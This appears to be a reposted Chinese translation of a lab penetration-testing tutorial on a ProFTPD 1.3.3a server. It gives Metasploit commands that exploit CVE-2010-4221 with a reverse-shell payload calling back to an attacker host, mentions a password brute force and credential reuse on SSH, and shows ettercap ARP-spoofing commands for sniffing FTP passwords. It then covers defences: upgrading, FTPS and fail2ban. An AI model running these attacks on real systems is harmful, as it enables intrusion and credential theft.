zoukankan      html  css  js  c++  java
  • FTP渗透测试

    在这篇文章中,我们将学习如何在CentOS机器配置ProFTPD的服务。之后,我们将进行渗透测试,以评估FTP服务的安全性,那么我们也将学习漏洞的对策。

    在CentOS Linux机器的安装和配置FTP服务

    [1] ProFTPD的源代码库的ProFTPD的服务器(1.3.3a)旧版本的源代码下载,位于ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2.

    image001

    image002

    使用的命令是没有hash签名的Proftpd(2011年)

    # cd/usr/local/src

    # wget -c ‘ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2’

    [2]对于开发库和编译器的源代码编译,需要安装CentOS的机器上。他们安装使用下面的命令(ProFTPD,2013年):

    # yum -y groupinstall ‘Development tools’

    [3] ProFTPD服务器出于安全原因,作为一个非特权用户在Linux系统上运行。A组被称为ftpd的创建,然后被称为ftpd的用户也创造了属于的ftpd组。使用下面的命令:

    使用用命令 作用

    Groupadd ftpd 创建一个新组名为ftpd的属于/ etc / group文件。

    useradd -G ftpd ftpd 创建一个新的用户名为ftpd,-G参数指定ftpd作为其主组,同事隶属于/ etc / passwd文件。

    [4]一旦被添加用户和组的ftpd,下一步是编译源代码的PROFTP服务器,以产生的ProFTPD的二进制,支持FTP(文件传输协议)。使用下面的命令来实现这一点(ProFTPD,2011):

    使用用命令 作用

    cd /usr/local/src 使用CD命令进入/usr/local/src目录下

    tar -jxf proftpd-1.3.3a.tar.bz2 使用tar –jxf参数解压proftpd-1.3.3a.tar.bz2归档文件

    cd proftpd-1.3.3a 使用CD命令进入proftpd-1.3.3a文件夹

    image003

    命令(续) 作用
    install_user=ftpdinstall_group=ftpd ./configure–prefix=/usr

    –sysconfdir=/etc

    该命令运行一个shell脚本,称为当前目录中的配置。这个脚本会检查的构建依赖和机器架构上的软件编译。该命令的主要任务是生成一个文件名为“Makefile文件。”“Makefile”文件包含读取make命令编译和安装指示。该install_user和install_group命令指示的用户和组的配置实用程序使用的ProFTPDare ftpd和ftpd的分别。prefix= / USR表示配置实用程序的二进制文件应该被安装在/ usr目录,而不是/ usr / local目录下(默认)下。最后,SYSCONFDIR=/ etc表示configure脚本配置文件应安装在/ etc目录中。
    Make 该命令编译的二进制文件按装在Makefile中的表示。
    make install 此命令安装编译好的二进制文件,其中包括名为proftpd的ProFTPD的守护进程。

    image004

    [5]一旦被编译的二进制文件,proftpd的位置被发现使用下面的命令:

    # which proftpd

    该版本也被选中使用下面的命令:

    #/usr/sbin/proftpd –v

    image005

    [6] ProFTPD服务器的主要配置文件,称为proftpd.conf中,这是位于/ etc,使用vi编辑器编辑。最终的配置文件看起来像下面这样。配置大量(注释#符号开始)的解释:

    image006

    同一个文件的配置指令,开始<Anonymous ~ftp>结束 </Anonymous> ,它里面的所有指令被注释掉(通过把一个hash符号前面的配置)禁用匿名FTP服务ProFTPD服务器。

    image007

    最终的配置文件,只允许本地Linux账户/用户(通过/ etc / passwd文件中定义的用户)和chroot到他们的主目录(限制),使他们无法摆脱该目录。

    [7]由于ProFTPD的守护进程配置为支持本地Linux账户和他/她的主目录为chroot用户,一个新的用户称为prithak密码,密码加入到Linux系统进行测试。使用下面的命令:

    # useradd prithak

    # passwd prithak(enter password prithak twice)

    同样,另一位用户名为丹尼尔也被添加到系统中。最后,现在我们系统上有以下的用户:

    用户名 密码

    prithak 1234qwer

    daniel 1a2b3c

    CHINTAN A1B2C3D4

    [8] PROFTP服务器(192.168.79.135)在调试模式下启动,并使用内置的Windows ftp命令访问Windows机器(192.168.79.1)。用户prithak(密码prithak)能够成功登录到ProFTPD服务器,并在同一时间生产ProFTPD服务器调试日志在标准输出上,确认登录的细节。

    ProFTPD的开始使用以下命令行选项:

    proftpd -n -d 4 -c /etc/proftpd.conf –ipv4

    选项如下:

    -N

    运行ProFTPD的进程在独立模式(必须配置在配置文件中),但没有背景的过程或解除它控制tty的。此外,所有输出(日志或调试消息)发送到stderr,而不是syslog机制。

    -D

    在调试模式下运行ProFTPD服务器。4个参数增加了冗长的日志4

    -C

    / etc / proftpd.conf中指示ProFTPD的守护程序读取配置文件位于/ etc / proftpd.conf中。

    -IPV4

    表示ProFTPD的守护进程只监听IPV4地址,即禁用IPV6(如果存在的话)。

    image008

    [9]要确保服务器上运行的PROFTP(192.168.79.135)开始,每次重新启动Linux的初始化脚本(init脚本)与源PROFTP被复制到:CentOS的INIT V(初始化系统V)脚本目录(/ etc / rc.d / init.d中)。然后脚本可执行文件。最后,使用chkconfig命令打开ProFTPD的服务

    # cp /usr/local/src/proftpd-1.3.3a/contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd

    # chmod 775 /etc/rc.d/init.d/proftpd

    # chkconfig proftpd on

    侦查、踩点、漏洞利用

    [1]侦查和踩点

    每一个漏洞评估的第一步是要找到正在运行什么服务和版本的服务,这就是所谓的侦察和踩点。要完成此步骤应启动对目标机的一个端口扫描。nmap的端口扫描器,发起针对本机使用下列参数:

    root@bt:~# nmap -sS -PN -n -sV -sC 192.168.79.135

    image009
    Nmap扫描结果表明,远程机器上有两个开放的端口:22(SSH)和21(FTP)。此外,在远程机器上运行的FTP服务器的版本ProFTPD的1.3.3a的SSH是OpenSSH的5.3。此外,SSH服务器只支持SSH协议版本2.0。

    [2]缓冲区溢出攻击的ProFTPD 服务

    当已知的漏洞ProFTPD的1.3.3a在互联网上搜索,得到结果如下:

    image010

    该漏洞的“CVE-2010-4221”被认定影响ProFTPD的1.3.3.a,我们运行的版本。据分析,“ 多个基于栈的缓冲区溢出的pr_netio_telnet_gets功能在netio.cProFTPD的1.3.3c之前,允许远程攻击者执行任意代码通过涉及TELNET IAC转义字符(1)FTP的载体或(2 )FTPS服务器。

    image011

    类似的,CVE-2010-4221漏洞利用在互联网上搜索时,它会导致以下Metasploit exploit:“ProFTPD的1.3.2rc3 – 1.3.3b的Telnet IAC缓冲区溢出(Linux)的。”相同的截图如下所示

    image012

    要成功利用这个漏洞远程机器运行ProFTPD的易受攻击的版本,Metasploit在 Backtrack Linux系统中使用下列命令:

    root@bt:~# cd /opt/metasploit/msf3

    root@bt:/opt/metasploit/msf3# ./msfconsole

    image013

    ProFTPD的易受攻击版本上运行192.168.79.135该漏洞被加载,使用下面的命令(命令为红色):

    msf>use exploit/linux/ftp/proftp_telnet_iac

    msf exploit(proftp_telnet_iac) >set RHOST 192.168.79.135

    RHOST => 192.168.79.135

    msf exploit(proftp_telnet_iac) >set payload linux/x86/shell_reverse_tcp

    msf exploit(proftp_telnet_iac)> set LHOST 192.168.79.144

    LHOST => 192.168.79.144

    msf exploit(proftp_telnet_iac) >exploit –j

    Metasploit的命令 描述
    use exploit/linux/ftp/proftp_telnet_iac 加载当前文中提到的proftp_telnet_iac漏洞。
    set RHOST 192.168.79.135 攻击的目标主机,即被受攻击的机器的IP地址。
    set payload linux/x86/shell_reverse_tcp 将要执行的shellcode成功利用后。这里payload是可选择。payload 反向连接给攻击者,攻击成功后。漏洞应该连接的IP由LHOST参数设置。
    set LHOST 192.168.79.144 设置攻击者的IP地址。
    exploit –j 作为后台会话启动的漏洞。

    image014

    成功利用此漏洞的结果,获得反弹shell的192.168.79.135(PROFTP)的服务器。创建一个新的会话shell,使用Metasploit的控制台中的“session -l”命令可以列出。

    与会话交互,“session –i 1”命令。要检查的权限级别的用户谁触发了反弹shell,使用如下的命令:

    ID

    此命令输出的有效用户ID。输出显示,我们有uid和gid 0即root用户。

    WHOAMI

    此命令是用来输出当前用户的用户名称。这个命令的输出也证实了,我们访问的机器是root权限。

    因为我们有超级用户(root)的权限,我们也能够修改/ etc / shadow文件,其中包含了用户的各种系统中的密码哈希,只可读/可写的根用户。下面的截图显示的信息:

    image015

    [2]暴力破解密码攻击PROFTP服务器

    开始了对PROFTP服务器的密码暴力破解攻击,下面是由Python脚本写的。这个脚本试图暴力猜解用户prithak 、CHINTAN、daniel的密码。默认的密码文件附带bracktrack作为密码数据库文件。

    image016

    使用上面的Python脚本,成功暴力破解出FTP用户prithak CHINTAN,丹尼尔的密码。下面的截图显示获取的密码:

    image017

    由于大多数系统多个服务使用相同的用户名和密码,用户名和密码信息,从先前的攻击是用来对付SSH服务器运行在同一台服务器上。这种攻击也被称为“密码暴力猜解”(Harper,,2011)。密码破解攻击是成功的,上述凭证有效期为SSH登录。下面的截图显示在SSH成功​​登录:

    image018

    [3] ARP欺骗和密码嗅探攻击

    因为FTP协议发送用户名和密码以明文,它是容易受到密码嗅探攻击。在这种攻击中,以下IP机器涉及:

    192.168.79.135 PROFTP服务器(FTP服务器)

    192.168.79.144 Backtrack(攻击者)

    192.168.79.150的Windows XP(FTP客户端)

    下面的截图显示的ARP欺骗攻击之前推出的Windows XP主机地址解析协议表:

    image019

    由此可以看出,所有的主机具有与它们相关联的不同的MAC地址。现在,因为攻击者是在同一个局域网段作为FTP服务器和FTP客户端,它是可能的攻击者发动ARP欺骗攻击,使他可以坐在中间的FTP交流和嗅探密码。要做到这一点,攻击者的计算机上执行以下步骤:

    1、 启用IP转发给攻击者的机器,它可以在FTP服务器和FTP客户端之间通信。这是通过使用下面的命令:

    # echo 1 > /proc/sys/net/ipv4/ip_forward

    2、ettercap软件是被用来发起一个ARP欺骗攻击给192.168.79.150【Windows XP(FTP客户端)]和192.168.79.135 PROFTP的服务器(FTP服务器)。使用如下的命令:

    # ettercap –iface eth4 –text –quiet –mitmarp /192.168.79.150/ /192.168.79.135/

    image020

    3、下面的截图显示在Windows XP计算机上发起攻击之前和之后的ARP表:

    image021

    4、现在,当客户端登录到FTP服务器,ettercap软件来抓起密码并输出。

    image022

    image023

    防御措施

    [1]缓冲区溢出利用对策

    由于系统上运行的ProFTPD的版本较旧,最有效的对策是安装相同的软件的最新版本。另一种对策是安装FTP服务器更安全的版本,具有很好的安全追踪。pureftpd的服务器似乎比ProFTPD服务器有更好的安全追踪。

    应用对策,我们pureftpd的选择升级到最新版本。这是通过类似的步骤,后用来安装旧版本的ProFTPD的。所采用的步骤如下:

    ProFTPD服务器的运行版本停止使用下面的命令:

    # service proftpd stop

    进入它的源目录,并使用“卸载”命令,删除旧版本的ProFTPD服务器。

    # cd /usr/local/src/proftpd-1.3.3a

    # make deinstall

    ProFTPD的服务器的源代码最新版本的下载和使用md5sum命令来验证它的MD5校验。下面的屏幕截图显示了信息:

    image024

    ProFTPD的较新版本的编译和安装,使用下面的命令:

    # tar zxvf proftpd-1.3.5rc2.tar.gz

    # cd proftpd-1.3.5rc2

    # install_user=ftpdinstall_group=ftpd ./configure –prefix=/usr –sysconfdir=/etc –with-modules=mod_tls

    # make

    # make install

    [注:已解释所有这些命令及其用法已经安装了旧版本的ProFTPD的。mod_tls选项使FTP通过SSL / TLS(FTPS)协议的支持。]

    ProFTPD的版本检查时,它出来,ProFTPD的版本1.3.5rc2。

    image025

    最新版本的ProFTPD开始然后lsof命令是用来验证FTP服务器正在运行:

    image026

    它也可以使用以前使用相同的用户名和密码登录到FTP。这证明了确实是升级的FTP服务完美的工作。当先前使用相同的漏洞发起针对该ProFTPD服务器使用Metasploit的,它失败了。这验证服务已被修补。此外,在写作的时候,没有已知漏洞(本地或远程)ProFTPD服务器版本1.3.5-RC2,我们正在运行。

    image027

    [2]防范密码嗅探攻击

    可以保证FTP协议使用的FTP SSL(FTPS)协议。可以执行下面的步骤,使FTPS:

    1、生成的SSL / TLS证书使用OpenSSL工具与Linux(FALKO,2011):

    # mkdir /etc/ssl_certs/

    # opensslreq -new -x509 -days 730 -nodes -out

    /etc/ssl_certs/proftpd.cert.pem -keyout /etc/ssl_certs/proftpd.key.pem

    确保该证书有效期为730天,两年。

    image028

    2、ProFTPD服务器被配置为支持FTPS协议,通过编辑/etc/proftpd.conf中的配置文件。此外,明文FTP协议被禁止,和FTPS执行。ProFTPD的拒绝明文FTP连接。下面的屏幕截图显示了添加行注释和解释:

    image029

    3、一旦配置完成后,重新启动ProFTPD的守护进程,使用“service proftpd restart”命令。现在,当Windows 7内置在FTP.EXE客户端被用于使用明文FTP协议连接到服务器,服务器拒绝连接错误消息:

    “550 SSL/TLS required on the control channel.”

    image030

    4、为了测试登录,FileZilla的FTP客户端的安装和它能够成功登录到ProFTPD服务器使用SSL / TLS。然而,有关证书的警告讯息显示。这是由于这样的事实,该证书是自签名的。一旦证书被接受​​,在连续登录,没有任何错误。

    image031

    image032

    此外,用于FTP服务器的密码应该是保密性强。FTP用户应该有自己的shell更改为/bin/false,这会确保FTP用户将无法通过SSH,telnet或TTY会话登录。这样做是使用下面的命令:

    # chsh -s /bin/false prithak

    # chsh -s /bin/false daniel

    # chsh -s /bin/false chintan

    # echo /bin/false >> /etc/shells

    [3]防范密码暴力破解攻击

    为了防范密码暴力破解攻击,采取以下步骤:

    1、选择强密码和用户密码进行了升级。使用下面的命令:

    # passwd prithak(提示密码alj234wkjw 82jlk2133当输入两次)

    # passwdchitan( 当系统提示输入密码234aj%2] 32 [maere输入两次)

    # passwddaniel( 当系统提示输入密码; 8 @#%2./ere的$ * 0.0 *两次输入)

    2、Fail2ban的实用程序ProFTPD的系统上安装和配置。Fail2ban的实用程序可以检测和防止密码暴力破解攻击,通过阻断攻击者的IP地址(ES)。ProFTPD的日志(/var/log/secure)检查,并根据配置,自动插入iptables防火墙规则(次),以阻止违规的IP地址。采取以下步骤来安装和配置ProFTPD的fail2ban的:

    (1)、Fail2ban的安装使用以下命令(Selvaganeshan,2010):

    # wgethttp://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

    # rpm -ivh epel-release-6-8.noarch.rpm

    # yum install -y fail2ban

    (2)、/ etc/fail2ban/jail.conf文件编辑和以下参数改变(Selvaganeshan,2010):

    bantime = 600

    maxretry = 4

    bantime定义的秒数来阻止攻击者的IP和的maxretry参数是允许的IP被封锁之前的错误数。因此,在这种情况下,如果任何一个IP有四个以上的失败的登录,是被禁止的。同样,监测ProFTPD的日志也被启用在“proftpd的iptables的”部分:

    image033

    然后重新启动fail2ban的服务使用下面的命令:

    # /etc/init.d/fail2ban restart

    起初,没有IP地址被fail2ban iptables协助。 默认规则集的fail2ban-ProFTPD链是空的,如下所示:

    image034

    当FTP密码暴力破解攻击进行IP地址192.168.79.222(backtrack)在ProFTPD服务器(192.168.79.135),检测到的攻击,攻击者的IP地址被阻塞:

    image035

    iptables的规则来阻止fail2ban的插入IP 192.168.79.222下文重点介绍:

    image036

    结论

    从源代码安装ProFTPD的服务器,并使用缓冲区溢出漏洞攻击,密码嗅探和密码蛮力攻击。此外,服务是固定使用强制SSL / TLS证书和Fail2ban的入侵检测系统,并升级到最新版本的服务。

    本文有小安攻防研究室翻译,如有翻译错误请联系管理员纠正,转载请注明地址谢谢。

    原文:http://resources.infosecinstitute.com/penetration-testing-of-an-ftp-service/

    参考:

    http://openmaniak.com/ettercap.php

    http://www.howtoforge.com/setting-up-proftpd-tls-on-debian-squeeze.

    http://www.proftpd.org/docs/howto/Compiling.html

  • 相关阅读:
    zoj 3627#模拟#枚举
    Codeforces 432D Prefixes and Suffixes kmp
    hdu 4778 Gems Fight! 状压dp
    CodeForces 379D 暴力 枚举
    HDU 4022 stl multiset
    手动转一下田神的2048
    【ZOJ】3785 What day is that day? ——KMP 暴力打表找规律
    poj 3254 状压dp
    C++中运算符的优先级
    内存中的数据对齐
  • 原文地址:https://www.cnblogs.com/sideny/p/3336640.html
Copyright © 2011-2022 走看看